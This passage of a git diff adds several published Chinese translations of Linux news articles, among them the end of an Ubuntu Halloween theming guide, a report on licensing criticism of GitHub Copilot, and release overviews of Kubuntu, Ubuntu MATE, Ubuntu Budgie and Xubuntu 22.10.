主题的每种类型都有不同的安装方法。因此,如果你想要使用另一个 Conky 文件的话,请遵循它的 `README` 文件中描述的设置方法,进行设置。 + +解压 Conky 主题文件,里面有几个文件夹。首先,你需要安装关联的图标和字体,也就是说,使用 字体管理器font-manager 安装给定的字体。接着,将图标文件夹拷贝,并粘贴到 `~/.icons` 文件夹。 + +![copy and paste conky files to home directory][35] + +然后,进入 Conky 文件夹。确保你已 [启用查看隐藏文件][36],将 `.conkyrc` 文件和 `.conky-vision-icons` 文件复制到你的主目录,如上图所示。 + +现在,启动 Conky,看起来就变成下图这样了。 + +![conky theme applied][37] + +将 Conky 添加到 [自启动应用程序列表][38] 中,以便在每次开机时都能自启动。 + +![add conky to the list of startup applications][39] + +### 更改壁纸 + +快要完成啦。你现在唯一需要做的就是 [更改背景壁纸][40]。我相信你之前已经下载好了有万圣节幽灵气氛的壁纸,右键 “设置为壁纸Set as Wallpaper” 就好啦。 + +![set image as wallpaper from nautilus][41] + +### 看看最终成果吧! + +如果你遵循上面的大多数步骤的话,你就会得到一个与以下截图相似的桌面。 + +![ubuntu halloween theme final look][42] + +这个桌面对于万圣节来说够吓人了吗?你觉得怎么样?在评论区中告诉我吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/linux-halloween-makeover/ + +作者:[Sreenath][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/10/ubuntu-halloween-theming-final-looks.jpg +[2]: https://itsfoss.com/make-ubuntu-look-like-macos/ +[3]: https://itsfoss.com/properly-theme-kde-plasma/ +[4]: https://itsfoss.com/using-neofetch/ +[5]: https://gitlab.com/dwt1/shell-color-scripts +[6]: https://www.gnome-look.org/p/1253385 +[7]: https://www.gnome-look.org/p/1425426 +[8]: https://www.gnome-look.org/p/1405210 +[9]: https://www.deviantart.com/bryantlloyd/art/Grey-Minimalistic-634726564 +[10]: https://fonts.google.com/specimen/Creepster?query=creepster +[11]: https://www.wallpaperflare.com/search?wallpaper=spooky +[12]: https://itsfoss.com/wp-content/uploads/2022/10/install-gnome-shell-extensions-user-themes-blur-my-shell-and-dash-to-dock.png +[13]: https://itsfoss.com/gnome-shell-extensions/ +[14]: https://extensions.gnome.org/extension/19/user-themes/ +[15]: https://extensions.gnome.org/extension/307/dash-to-dock/ +[16]: https://extensions.gnome.org/extension/3193/blur-my-shell/ +[17]: https://itsfoss.com/wp-content/uploads/2022/10/set-themes-with-gnome-tweaks.png +[18]: https://itsfoss.com/install-fonts-ubuntu/ +[19]: https://itsfoss.com/wp-content/uploads/2022/10/right-click-on-font-file-and-select-open-with-fonts.png +[20]: https://itsfoss.com/wp-content/uploads/2022/10/install-font-using-font-manager-application.png +[21]: https://itsfoss.com/wp-content/uploads/2022/10/change-system-fonts-using-gnome-tweaks.png +[22]: https://itsfoss.com/wp-content/uploads/2020/06/disable-ubuntu-dock.png +[23]: https://itsfoss.com/wp-content/uploads/2022/10/select-dash-to-dock-settings.png +[24]: https://itsfoss.com/wp-content/uploads/2022/10/setting-dash-to-dock-icon-size.png +[25]: https://itsfoss.com/wp-content/uploads/2022/10/opacity-setting-for-dash-to-dock.png +[26]: https://itsfoss.com/wp-content/uploads/2022/10/select-preferences-from-hamburger-menu.png +[27]: https://itsfoss.com/wp-content/uploads/2022/10/create-new-profile-in-gnome-terminal.png +[28]: https://itsfoss.com/wp-content/uploads/2022/10/set-transperancy-to-gnome-terminal.png +[29]: https://itsfoss.com/wp-content/uploads/2022/10/set-new-profile-as-default-in-gnome-terminal.png +[30]: https://itsfoss.com/wp-content/uploads/2022/10/blur-my-shell-extension-settings.png +[31]: https://itsfoss.com/wp-content/uploads/2022/10/applying-blur-effect-to-selected-windows.png +[32]: https://itsfoss.com/ascii-image-converter/ +[33]: https://itsfoss.com/wp-content/uploads/2022/10/neofetch-with-custom-backend.png +[34]: https://itsfoss.com/wp-content/uploads/2022/10/ghosts-shell-color-script.png +[35]: https://itsfoss.com/wp-content/uploads/2022/10/copy-and-paste-conky-files-to-home-directory.png +[36]: https://itsfoss.com/hide-folders-and-show-hidden-files-in-ubuntu-beginner-trick/ +[37]: https://itsfoss.com/wp-content/uploads/2022/10/conky-theme-applied.png +[38]: https://itsfoss.com/manage-startup-applications-ubuntu/ +[39]: https://itsfoss.com/wp-content/uploads/2022/10/add-conky-to-the-list-of-startup-applications.png +[40]: https://itsfoss.com/change-wallpaper-ubuntu/ +[41]: https://itsfoss.com/wp-content/uploads/2022/10/set-image-as-wallpaper-from-nautilus.png +[42]: https://itsfoss.com/wp-content/uploads/2022/10/ubuntu-halloween-theme-final-look.jpg diff --git a/published/202210/20221019.0 ⭐️ GitHub Copilot Appears To Be In Violation Of The Open Source Licence.md b/published/202210/20221019.0 ⭐️ GitHub Copilot Appears To Be In Violation Of The Open Source Licence.md new file mode 100644 index 0000000000..47d73780b2 --- /dev/null +++ b/published/202210/20221019.0 ⭐️ GitHub Copilot Appears To Be In Violation Of The Open Source Licence.md @@ -0,0 +1,38 @@ +[#]: subject: "GitHub Copilot Appears To Be In Violation Of The Open Source Licence" +[#]: via: "https://www.opensourceforu.com/2022/10/github-copilot-appears-to-be-in-violation-of-the-open-source-licence/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15167-1.html" + +GitHub Copilot 似乎违反了开源许可证的规定 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/23/100112lms67c7e8mow8sv6.jpg) + +> 自 Copilot 首次亮相以来,Butterick 就对该计划提出了批评。 + +微软在 2018 年支付 75 亿美元收购了 GitHub,此后将这个代码仓库整合到其开发者工具中,同时在很大程度上采取了放手的态度。Matthew Butterick 是一名作家、律师,也是一名程序员,他认为微软基于机器学习的代码助手 GitHub Copilot 存在一些问题,它似乎不正确地对待开源代码许可证。 + +GitHub Copilot 是 Visual Studio 和其他 IDE 的一个插件,通过在你输入时提供代码完成的 “建议” 来运作。Codex 是该系统的动力源。然而,Butterick 等开发者认为 AI 在如何学习方面存在问题,或者更具体地说,AI 是从哪里训练的。 + +这里的问题是,GitHub 所训练的公开代码仓库是有许可证的,当他们的工作被利用时,需要按照许可证进行。虽然微软对其使用代码的问题一直避而不谈,称其为合理使用,但 Copilot 除了提供建议外,还能生成逐字逐句的代码部分。 + +根据 Codex(由微软授权)的开发者 OpenAI的说法,“Codex 是在数以千万计的公开代码仓库中训练出来的,包括 GitHub 上的代码。”微软自己也含糊地将训练材料描述为数十亿行的公共代码。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/10/github-copilot-appears-to-be-in-violation-of-the-open-source-licence/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/10/github-logo-2-1-696x348.png diff --git a/published/202210/20221020.1 ⭐️ Kubuntu 22.10 is Now Available!.md b/published/202210/20221020.1 ⭐️ Kubuntu 22.10 is Now Available!.md new file mode 100644 index 0000000000..0602812029 --- /dev/null +++ b/published/202210/20221020.1 ⭐️ Kubuntu 22.10 is Now Available!.md @@ -0,0 +1,120 @@ +[#]: subject: "Kubuntu 22.10 is Now Available!" +[#]: via: "https://news.itsfoss.com/kubuntu-22-10-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15173-1.html" + +Kubuntu 22.10 的新变化 +====== + +> Kubuntu 22.10 可能不是最令人兴奋的升级。但是,它包括了一些有用的变化。 + +![Kubuntu 22.10 现已发布][1] + +Kubuntu 是 Ubuntu 的一个官方版本,它在一个精致的 KDE 驱动的软件包中提供了很多功能。 + +Kubuntu 22.10 的发布带来了各种改进和一个 [KDE Plasma][2] 的更新版本。 + +让我们来看看这个版本的亮点。 + +### Kubuntu 22.10 有什么新变化? + +![Kubuntu 22.10 桌面][3] + +Kubuntu 22.10 带来了很多更新,其中一些重要的更新包括: + +- KDE Plasma 5.25 +- Linux 内核 5.19 +- PipeWire +- Firefox 104 +- Qt 5.15.6 + +> 💡 Kubuntu 22.10 将被支持九个月,直到 **2023 年 7 月**。如果你想要稳定而不是功能,你应该更喜欢使用 [LTS 版本][4]。 + +#### KDE Plasma 5.25 + +![Kubuntu 22.10 KDE 版本][5] + +尽管最近 [KDE Plasma 5.26][6] 已经发布了,但 Kubuntu 22.10 还是搭载了 KDE Plasma 5.25。 + +然而,KDE Plasma 5.25 与 5.24 相比仍然是一个重大的更新,它包含了很多改进,例如,加强了对触摸板/触摸屏的支持,升级了用户界面等等。 + +你可以阅读我们对 KDE Plasma 5.25 的报道来了解更多。 + +> **[KDE Plasma 5.25:颜色、主题和其他改进][15]** + +另外,你可以期待 KDE Plasma 5.26 作为一个小版本发布,而不是作为 Kubuntu 22.10 发布的一部分。 + +#### 默认采用 PipeWire + +像大多数基于 Ubuntu 22.10 的发行版一样,[PipeWire][7] 是这个版本的 Kubuntu 的默认音频/视频处理器。 + +它取代了 [PulseAudio][8],众所周知,它与 Ubuntu 22.10 不兼容。 + +#### Linux 内核 5.19 + +![Kubuntu 22.10 Linux 内核 5.19][9] + +Kubuntu 22.10 采用了最新的 Linux 内核 5.19,这应该会带来对 ARM SoC 和 Arc Alchemist GPU 的支持、Btrfs 的各种改进、对 AMD RDNA3 图形的初步支持等等。 + +#### 测试用的 Wayland 会话 + +![Kubuntu 22.10 Wayland 会话切换器][10] + +Kubuntu 22.10 具有对 Plasma Wayland 会话的初步支持,但它仅用于测试目的,并不是一个完整的集成。 + +![Kubuntu 22.10 Wayland 会话信息][11] + +#### 其他升级 + +其他一些更新包括: + +- 自定义桌面重点颜色 +- 默认浏览器是 Firefox 104 Snap +- Qt 5.15.6 +- LibreOffice 7.4 +- 改进的应用程序商店 + +要探索更多关于该版本的信息,请参考 [官方发布说明][12]。 + +### 下载 Kubuntu 22.10 + +你可以从 [Ubuntu 的中央镜像库][13] 或其 [官方网站][14] 下载最新的 ISO。 + +> **[Kubuntu 22.10][14]** + +*它的官方网站可能需要一段时间来提供 ISO。* + +💬 你对这个版本感到兴奋吗? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kubuntu-22-10-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/kubuntu-22-10-release.jpg +[2]: https://kde.org/plasma-desktop/ +[3]: https://news.itsfoss.com/content/images/2022/10/Kubuntu_22.10_Desktop.png +[4]: https://itsfoss.com/long-term-support-lts/ +[5]: https://news.itsfoss.com/content/images/2022/10/Kubuntu_22.10_KDE_Version.png +[6]: https://news.itsfoss.com/kde-plasma-5-26-release/ +[7]: https://pipewire.org/ +[8]: https://www.freedesktop.org/wiki/Software/PulseAudio/ +[9]: https://news.itsfoss.com/content/images/2022/10/Kubuntu_22.10_Linux_Kernel.png +[10]: https://news.itsfoss.com/content/images/2022/10/Kubuntu_22.10_Wayland_Session.png +[11]: https://news.itsfoss.com/content/images/2022/10/Kubuntu_22.10_Wayland_Session_2.png +[12]: https://wiki.ubuntu.com/KineticKudu/ReleaseNotes/Kubuntu +[13]: https://cdimage.ubuntu.com/kubuntu/releases/22.10/release/ +[14]: https://kubuntu.org/getkubuntu/ +[15]: https://news.itsfoss.com/kde-plasma-5-25-release/ \ No newline at end of file diff --git a/published/202210/20221020.2 ⭐️ Ubuntu MATE 22.10 Release Has Some Interesting Upgrades!.md b/published/202210/20221020.2 ⭐️ Ubuntu MATE 22.10 Release Has Some Interesting Upgrades!.md new file mode 100644 index 0000000000..10ef5e9b6f --- /dev/null +++ b/published/202210/20221020.2 ⭐️ Ubuntu MATE 22.10 Release Has Some Interesting Upgrades!.md @@ -0,0 +1,126 @@ +[#]: subject: "Ubuntu MATE 22.10 Release Has Some Interesting Upgrades!" +[#]: via: "https://news.itsfoss.com/ubuntu-mate-22-10-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15174-1.html" + +Ubuntu MATE 22.10 的新变化 +====== + +> Ubuntu MATE 22.10 已经发布,其中有一些细微而有用的变化。来看看吧! + +![Ubuntu MATE 22.10 版本有一些有趣的升级!][1] + +Ubuntu MATE 是 [Ubuntu 官方版本][2] 之一,每次升级都会增加有趣的改进。 + +它的目标用户是那些既珍惜传统桌面的外观和感觉,又渴望现代操作系统的功能的用户。 + +Ubuntu MATE 22.10 版本增加了许多改进和功能,让我们来看看这些。 + +### Ubuntu MATE 22.10 的新变化 + +![Ubuntu MATE 22.10 桌面][3] + +基于非 LTS 版本的 [Ubuntu 22.10][4] ,Ubuntu MATE 22.10 带来了多项更新,一些关键的亮点包括: + +- 对 MATE 桌面的改进。 +- 新的 AI 墙纸。 +- PipeWire 是默认的音频服务器。 +- 新的 MATE 用户管理器。 +- Firefox 105 更新。 +- LibreOffice 7.4。 + +> 💡 注意,Ubuntu MATE 的升级通常包括更多的功能补充。但这一次,Martin Wimpress 一直致力于为 Debian MATE 版带来类似的体验。你可以在我们之前的报道中阅读更多细节。 + +> [准备好在 Debian Linux 上获得 Ubuntu MATE 体验吧!][15] + +#### MATE 桌面升级 + +![Ubuntu MATE 22.10 桌面视图][5] + +MATE 桌面收到了各种错误修复和对 Ayatana 指示器、MATE 面板的更新。 + +现在,你可以将小程序居中对齐,与通常的左右对齐选项一起。 + +这项功能将在 MATE 桌面 1.28 版中正式出现,但 Ubuntu MATE 团队在 MATE 桌面 1.27 版的基础上将其与这个版本一起推出。 + +#### MATE 用户管理器 + +![Ubuntu MATE 22.10 用户管理器][6] + +MATE 用户管理器是该发行版的一个新的补充,允许你添加、修改、删除用户账户。 + +有了它,你可以选择哪些用户可以成为管理员、设置自动登录、设置个人资料图片,以及管理组成员资格。对于有多个用户的计算机来说,这是一个相当方便和急需的功能。 + +#### 新的 AI 壁纸 + +![Ubuntu MATE 22.10 AI 壁纸][7] + +这个版本的另一大亮点是增加了新的 AI 生成的壁纸。 + +这些看起来很美 😍 + +鉴于人工智能生成的壁纸现在正大行其道,Ubuntu MATE 团队在 Ubuntu MATE 22.10 中加入了一批新的壁纸。 + +它是由 [Simon Butcher][8] 使用扩散模型创建的,用来描画 “捻角羚”。 + +#### Linux 内核 5.19 + +Ubuntu MATE 22.10 得益于 Linux 内核 5.19 带来的改进,对各种 ARM SoC、Arc Alchemist GPU 等提供了增强支持。 + +你可以阅读我们的相关报道以了解更多。 + +#### 🛠️ 其他变化和改进 + +与其他新版本一样,Ubuntu MATE 22.10 用 [PipeWire][10] 取代了 [PulseAudio][9],以获得更好的音频处理,并加入了额外的蓝牙编解码器,如 AAC、LDAC、aptX 和 aptX HD。 + +其他值得注意的变化包括: + +- 更新的应用程序包括:Firefox 105、LibreOffice 7.4、Celluloid 0.20 和 Evolution 3.46。 +- Ubuntu MATE HUD 支持 MATE、XFCE 和 Budgie,具有更多的配置能力。 + +如果你感到好奇,你可以查看 Ubuntu MATE 22.10 [官方发布说明][11]。 + +### 下载 Ubuntu MATE 22.10 + +你可以从 [Ubuntu 的中央镜像库][12] 或其 [官方网站][13] 下载最新的 ISO。 + +*它的官方网站/仓库可能需要一段时间来提供 ISO。* + +> 💡 Ubuntu MATE 22.10 将被支持九个月,直到 **2023 年 7 月** 。如果你想要稳定而不是功能,你应该更喜欢使用 [LTS 版本][14]。 + +> **[下载 Ubuntu MATE 22.10][13]** + +💬 _有兴趣尝试 Ubuntu MATE 22.10 吗?请在评论中告诉我你的想法。_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-mate-22-10-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/ubuntu-mate-22-10-release.jpg +[2]: https://itsfoss.com/which-ubuntu-install/ +[3]: https://news.itsfoss.com/content/images/2022/10/ubuntu-mate-22-10.png +[4]: https://news.itsfoss.com/ubuntu-22-10-features/ +[5]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_MATE_22.10_Desktop.png +[6]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_MATE_22.10_User_Manager.png +[7]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_MATE_22.10_AI_Wallpapers.png +[8]: https://twitter.com/simonjbutcher +[9]: https://www.freedesktop.org/wiki/Software/PulseAudio/ +[10]: https://pipewire.org/ +[11]: https://ubuntu-mate.org/blog/ubuntu-mate-kinetic-kudu-release-notes/ +[12]: https://cdimage.ubuntu.com/ubuntu-mate/releases/22.10/release/ +[13]: https://ubuntu-mate.org/download/ +[14]: https://itsfoss.com/long-term-support-lts/ +[15]: https://news.itsfoss.com/ubuntu-mate-debian/ \ No newline at end of file diff --git a/published/202210/20221020.3 ⭐️ Ubuntu Budgie 22.10 Release Improves Control Center and Removes Some GNOME Apps.md b/published/202210/20221020.3 ⭐️ Ubuntu Budgie 22.10 Release Improves Control Center and Removes Some GNOME Apps.md new file mode 100644 index 0000000000..38d5642bd9 --- /dev/null +++ b/published/202210/20221020.3 ⭐️ Ubuntu Budgie 22.10 Release Improves Control Center and Removes Some GNOME Apps.md @@ -0,0 +1,121 @@ +[#]: subject: "Ubuntu Budgie 22.10 Release Improves Control Center and Removes Some GNOME Apps" +[#]: via: "https://news.itsfoss.com/ubuntu-budgie-22-10-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15179-1.html" + +Ubuntu Budgie 22.10 的新变化 +====== + +> Ubuntu Budgie 22.10 是一个有趣的版本,它删除了几个 GNOME 应用程序,以及一些其他改进。 + +![Ubuntu Budgie 22.10 Release Improves Control Center and Removes Some GNOME Apps][1] + +[Ubuntu Budgie][2] 是 Ubuntu 的官方版本,因其传统的桌面界面和最小的软件膨胀而广受欢迎。 + +Ubuntu Budgie 22.10 的发布带来了一些关键的调整和补充。 + +### 🆕 Ubuntu Budgie 22.10 有什么新变化 + +![ubuntu budgie 22.10][3] + +基于 Ubuntu 22.10 “充满活力的捻角羚Kinetic Kudu”,Ubuntu Budgie 22.10 带来了 Budgie 桌面 10.6.4 和许多其他改进。 + +一些值得注意的亮点包括: + +- 增强型 Budgie 控制中心Control Center +- 更新了 Budgie 的“欢迎Welcome”应用 +- 替换各种基于 GNOME 的应用程序 +- 对翻译进行了更新 + +#### Budgie 桌面和控制中心 + +![ubuntu budgie 22.10 desktop settings][4] + +Budgie 桌面以及更新到 V10.6.4, 它添加了一个新的全局选项来控制小程序之间的间距,并对工作区和时钟小程序进行了各种改进。 + +![ubuntu budgie 22.10 display color profiles][5] + +Budgie 控制中心Control Center也得到了一堆调整,例如重新设计的显示颜色配置文件支持,修改了对屏幕分享的支持,如 [RDP][6] 和 [VNC][7],用于显示缩放的选项,等等。 + +#### 升级了欢迎应用 + +![ubuntu budgie 22.10 welcome app][8] + +Ubuntu Budgie 22.10 特别升级了 [Budgie 的欢迎应用][9],改善了翻译以及一些其他改进。 + +#### 默认的应用的变化 + +Ubuntu Budgie 的开发人员已经开始替换和删除基于 GNOME 的应用程序,转而使用基于 MATE 的应用程序和其他替代品。 + +他们决定这样做是因为基于 GNOME 的应用程序在 Budgie 中的外观与其他具有圆角边缘的应用程序的外观不一致。 + +这些不一致是由于 GNOME 根据其样式和主题需求而转到 Libadwaita 库造成的。 + +Libadwaita 库是 GNOME 的一个有争议的补充,没有多少用户喜欢,你可以通过我们的报道来了解更多信息。 + +> **[你对在 Linux 世界中 GNOME 的 Libadwaita 库怎么看?][15]** + +以下是一些已删除或替换的应用程序: + +- GNOME 计算器被 MATE 计算器取代。 +- 删除了 GNOME 日历。 +- GNOME 系统监视器已由 MATE 系统监视器取代。 +- 删除了 GNOME 截图。 +- [字体管理器][10] 替代了 GNOME 字体查看器。 + +#### 🛠️ 其他改变 + +其他改变包括以下: + +- 重新开发的内置主题 +- 移除 PulseAudio,并支持 PipeWire +- 原生的截图功能 +- 支持 WebP 图像 +- 能够查看显示器的刷新率 + +你可以通过 [发行说明][11] 了解更多。 + +### 📥 下载 Ubuntu Budgie 22.10 + +你可以在 [Ubuntu 中央镜像仓库][12] 或者它的 [官方网站][13] 下载最新的 ISO。 + +*其官方网站可能需要一段时间才能提供 ISO。* + +> **[下载 Ubuntu Budgie 22.10][13]** + +> 💡 Ubuntu Budgie 22.10 将支持 9 个月直到 **2023 年 6 月**。如果你想使用稳定的功能,更应该选择 [LTS 版本][14]。 + +💬 你如何看待这个非 LTS 版本?愿意尝试一下吗? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-budgie-22-10-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/ubuntu-budgie-22-10-release.png +[2]: https://ubuntubudgie.org/ +[3]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_Budgie_22.10.png +[4]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_Budgie_22.10_Desktop_Settings.png +[5]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_Budgie_22.10_Color_Profiles.png +[6]: https://en.wikipedia.org/wiki/Remote_Desktop_Protocol +[7]: https://en.wikipedia.org/wiki/Virtual_Network_Computing +[8]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_Budgie_22.10_Welcome.png +[9]: https://ubuntubudgie.org/2022/02/quick-overview-of-budgie-welcome-application/ +[10]: https://itsfoss.com/font-manager/ +[11]: https://ubuntubudgie.org/2022/09/ubuntu-budgie-22-10-release-notes/ +[12]: https://cdimage.ubuntu.com/ubuntu-budgie/releases/22.10/ +[13]: https://ubuntubudgie.org/downloads/ +[14]: https://itsfoss.com/long-term-support-lts/ +[15]: https://news.itsfoss.com/gnome-libadwaita-library/ \ No newline at end of file diff --git a/published/202210/20221020.4 ⭐️ Xubuntu 22.10 Releases With Xfce Upgrades, and Other Refinements.md b/published/202210/20221020.4 ⭐️ Xubuntu 22.10 Releases With Xfce Upgrades, and Other Refinements.md new file mode 100644 index 0000000000..3892e9babd --- /dev/null +++ b/published/202210/20221020.4 ⭐️ Xubuntu 22.10 Releases With Xfce Upgrades, and Other Refinements.md @@ -0,0 +1,134 @@ +[#]: subject: "Xubuntu 22.10 Releases With Xfce Upgrades, and Other Refinements" +[#]: via: "https://news.itsfoss.com/xubuntu-22-10-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15188-1.html" + +Xubuntu 22.10 的新变化 +====== + +> Xubuntu 22.10 提供了精致的 Xfce 体验。请读此文了解详情。 + +![Xubuntu 22.10 Releases With Xfce Upgrades, and Other Refinements][1] + +Xubuntu 是基于 Xfce 的 Ubuntu 官方版本。 + +它也是最好的轻量级 Linux 发行版之一。 + +随着最新的 Xubuntu 22.10 “Kinetic Kudu” 版本,你可以看到改进的桌面环境、添加的功能,以及全面的细化。 + +### Xubuntu 22.10 的新变化 + +![Xubuntu 22.10 home][2] + +Xubuntu 22.10 带来了一些令人兴奋的升级。一些亮点包括: + +- Xfce 4.16(或 Xfce 4.17 开发版) +- Catfish 的外观进行了更新。 +- 更新了新图标,弃用了 elementary-xfce-darker 主题。 +- Mousepad 搜索历史。 +- Thundar 文件管理器的改进。 +- Xfce 任务管理器。 + +> 💡 Xubuntu 22.10 将支持九个月,直到 **2023 年 7 月**。如果你想要稳定性而不是功能,你应该首选使用 [LTS 版本][3]。 + +#### Xfce 4.17 开发版还是 Xfce 4.16? + +Xubuntu 22.10 的发行说明说它专门提供了 Xfce 4.17 开发版本。 + +但是,当我安装 Xubuntu 22.10 的 beta 版本(并将其更新到最新版本)时,只具有 Xfce 4.16。 + +![][4] + +不确定他们是否退出了 Xfce 4.17 开发版本,或者 Xfce 4.16 现在是否存在。 + +#### Catfish 外观 + +![xubuntu catfish][5] + +Catfish 是 Xubuntu 上的一个文件搜索工具。通过新的升级,它具有焕然一新的外观,并做了底层的改进。 + +与你搜索的文件交互时,你还会获得一个“打开方式”上下文菜单。 + +![][6] + +Catfish 还添加了一些细微而有用的功能。 + +#### GNOME 43 软件应用 + +在值得注意的应用程序更新中,GNOME 的最新软件中心是一个不错的选择。这是 Xubuntu 22.10 的外观: + +![][7] + +当然,它可能无法与 Xfce 上的其他应用程序保持一致,但我认为你应该不会介意。 + +#### 图标更新 + +随着 elementary-xfce 0.17 图标更新,有许多新图标和更简洁的选项,可提供一致的 Xubuntu 桌面体验。 + +![][8] + +此外,elementary-xfce-darkest 主题图标包已被弃用。 + +![][9] + +#### 任务管理器右键选项 + +![][10] + +你现在可以将完整的进程路径复制到剪贴板。这对于需要从命令行进行故障排除或停止操作很有用。 + +### 其他增强功能 + +![][11] + +还有其他几个值得注意的变化,包括: + +- Linux 内核 5.19。 +- Firefox 浏览器 105。 +- `Alt-Tab` 视图通过更突出的图标进行了改进。 +- 马赛克拼图添加到 SGT 拼图系列。 +- Mousepad 文本编辑器现在包括搜索历史记录,以及更多调整。 + +要了解有关更改的更多信息,请查看 [官方发行说明][12]。 + +### 下载 Xubuntu 22.10 + +你可以从 [Ubuntu 的中央镜像库][13] 或它的 [官方网站][14] 下载最新的 ISO 文件。 + +官方网站可能需要一段时间才能提供 ISO。 + +> **[下载Xubuntu 22.10][14]** + +💬 你觉得 Xubuntu 22.10 如何?请在评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/xubuntu-22-10-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/xubuntu-22-10-release.jpg +[2]: https://news.itsfoss.com/content/images/2022/10/xubuntu-22-10.png +[3]: https://itsfoss.com/long-term-support-lts/ +[4]: https://news.itsfoss.com/content/images/2022/10/xfce-4-16.jpg +[5]: https://news.itsfoss.com/content/images/2022/10/catfish-xubuntu-22-10.png +[6]: https://news.itsfoss.com/content/images/2022/10/catfish-openwith-1.jpg +[7]: https://news.itsfoss.com/content/images/2022/10/xubuntu-gnome-43-software.jpg +[8]: https://news.itsfoss.com/content/images/2022/10/xubuntu-22-10-icons.jpg +[9]: https://news.itsfoss.com/content/images/2022/10/xfce-dark-theme.png +[10]: https://news.itsfoss.com/content/images/2022/10/task-manager-copy-command-line.jpg +[11]: https://news.itsfoss.com/content/images/2022/10/xubuntu-22-10-puzzle.png +[12]: https://wiki.xubuntu.org/releases/22.10/release-notes +[13]: https://cdimage.ubuntu.com/xubuntu/releases/22.10/release/ +[14]: https://xubuntu.org/download/ diff --git a/published/202210/20221020.5 ⭐️ Ubuntu 22.10 Is Here!.md b/published/202210/20221020.5 ⭐️ Ubuntu 22.10 Is Here!.md new file mode 100644 index 0000000000..afcfdf3637 --- /dev/null +++ b/published/202210/20221020.5 ⭐️ Ubuntu 22.10 Is Here!.md @@ -0,0 +1,147 @@ +[#]: subject: "Ubuntu 22.10 Is Here!" +[#]: via: "https://news.itsfoss.com/ubuntu-22-10-release/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15171-1.html" + +Ubuntu 22.10 的新变化 +====== + +> Ubuntu 22.10 是一个令人印象深刻的版本,它拥有新的快速切换功能、应用程序散布,以及更多。 + +![](https://img.linux.net.cn/data/attachment/album/202210/24/101545l1jae18e1881ee19.jpg) + +Ubuntu 22.10 “充满活力的捻角羚Kinetic Kudu”来了。它带来了许多重大的改进,特别是 Linux 内核 5.19 和 GNOME 43 的体验。 + 